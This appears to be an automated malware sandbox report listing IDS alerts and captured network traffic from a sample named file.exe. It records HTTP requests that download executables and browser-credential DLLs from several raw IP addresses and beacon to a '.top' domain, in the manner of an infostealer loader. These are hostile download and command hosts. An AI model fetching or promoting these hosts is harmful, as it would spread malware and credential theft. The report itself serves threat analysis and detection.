Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50063 -> 104.121.10.34:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50072 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50075 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50098 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50096 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50116 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50121 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50122 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50077 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50124 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50126 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50215 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50221 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50217 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50224 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50225 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50228 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50226 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50233 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50229 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50232 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50236 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50220 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50202 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50235 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50204 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50239 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50268 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50280 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50290 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50296 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50287 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50297 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50293 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50301 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50299 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50303 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50437 -> 38.114.102.230:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50286 -> 104.21.50.161:443

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00E0E0C0 recv,recv,recv,recv,

1_2_00E0E0C0

Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360505011_123FH55PMWQ5EA6JP&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381013225_1XAUFN260686Y1KVG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360504960_1PLAHYZB4JQO28JRC&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239317301320_16XXVBVNIIATTNZGS&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381013226_1N0ZCSQO0WB83C2MZ&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239317301729_1IQTWSVKP22KW7ULM&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /kNcZsqQOSglxukmuLodY1734167391?argument=sypEa2ygPYYA5Tt31734357798 HTTP/1.1Host: home.twentygr20sb.topAccept: /
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/flava/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
